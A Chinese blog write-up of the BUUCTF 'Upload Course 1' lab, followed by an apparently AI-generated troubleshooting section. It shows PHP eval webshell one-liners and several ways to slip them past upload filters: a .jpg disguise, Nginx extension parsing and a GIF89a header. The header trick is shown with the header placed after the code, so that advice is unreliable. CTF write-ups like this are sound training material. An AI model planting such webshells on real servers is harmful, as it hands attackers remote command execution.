BUUCTF Basic 解题记录--BUU UPLOAD COURSE 1

文章描述了一次对网站文件上传功能的测试,发现可以利用Hackbar绕过安全限制,将txt文件伪装成jpg并查看内容。进一步利用PHPeval注入漏洞,成功执行恶意代码获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、打开链接发现是让上传文件,随意上传一个txt文件发现直接显示jpg格式,然后尝试其他文件,上传后还是被改成jpg格式;

2、打开Hackbar,发现在file=  这个参数替换掉刚才上传的文件路径,能查看到文件的内容;

3、上传一句话木马,用jpg格式存储,然后在hackbar 的file= 参数后面替换掉上传的文件路径;并在postdata输入如下命令,执行即可获得flag。

<?php @eval(system($_POST["a"]));?>

### 返回数据为空的可能原因及解决方案 在BUUCTF平台中,BUU UPLOAD COURSE 1返回数据为空的问题可能由以下几种情况导致: 1. **文件上传后未正确处理**:上传的文件可能被服务器重命名或移动到其他路径,但页面未返回正确的文件访问路径[^1]。 2. **PHP代码执行限制**:即使上传了包含恶意代码的文件,但由于服务器配置问题(如`disable_functions`禁用了某些函数),可能导致代码无法正常执行[^2]。 3. **文件类型过滤机制**:尽管题目允许上传`.php`文件,但可能存在隐式的文件类型过滤,例如通过MIME类型检测或文件头检查来阻止恶意文件执行[^3]。 4. **Burp Suite或其他工具使用不当**:在尝试绕过文件类型限制时,如果请求修改不正确,可能会导致服务器拒绝处理请求或返回空数据[^4]。 #### 解决方案 以下是针对上述问题的具体解决方法: #### 1. 确认文件上传后的实际路径 上传文件后,检查服务器是否正确保存了文件,并确认文件的实际路径。可以通过以下方式验证: - 检查上传页面的回显信息,查看是否有文件路径提示。 - 使用Burp Suite拦截上传请求,观察服务器响应是否包含文件存储路径。 如果服务器未返回明确的路径信息,可以尝试手动构造文件访问路径,例如: ```plaintext http://<服务器地址>/uploads/<文件名>.php ``` #### 2. 验证PHP代码执行环境 确保上传的PHP文件能够在服务器上正常执行。可以先上传一个简单的测试脚本,例如: ```php <?php echo "Test Success"; ?> ``` 访问该文件后,若页面显示`Test Success`,则说明PHP环境正常;否则需要检查服务器配置,例如: - 是否启用了PHP解析功能。 - 是否存在`disable_functions`等限制。 #### 3. 绕过文件类型过滤 如果上传的PHP文件被自动重命名为`.jpg`或其他非PHP扩展名,可以尝试以下方法绕过: - **利用Nginx解析漏洞**:构造类似`test.php.jpg`的文件名,利用Nginx的多扩展名解析特性[^3]。 - **修改文件头**:将PHP文件伪装成图片文件,同时保留可执行的PHP代码。例如,使用以下代码作为文件内容: ```php <?php @eval($_POST['cmd']); ?> GIF89a ``` 这里的`GIF89a`是合法的GIF文件头,用于欺骗文件类型检测。 #### 4. 检查Burp Suite请求构造 确保通过Burp Suite修改的请求格式正确无误。常见的错误包括: - 文件名字段未正确修改。 - 内容类型(Content-Type)与实际上传文件不符。 可以通过抓包分析正常上传请求与修改后请求的差异,确保所有字段均符合服务器要求。 --- ### 示例代码 以下是一个简单的PHP木马示例,可用于测试代码执行环境: ```php <?php @eval($_POST['cmd']); ?> ``` 如果需要绕过文件类型检测,可以使用以下伪装代码: ```php <?php @eval($_POST['cmd']); ?> GIF89a ``` --- ### 注意事项 - 在上传文件时,尽量避免直接使用常见的恶意文件名(如`shell.php`),以免触发额外的安全防护机制。 - 如果多次尝试仍未解决问题,可以尝试联系题目维护者,确认是否存在已知的Bug或特殊限制。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值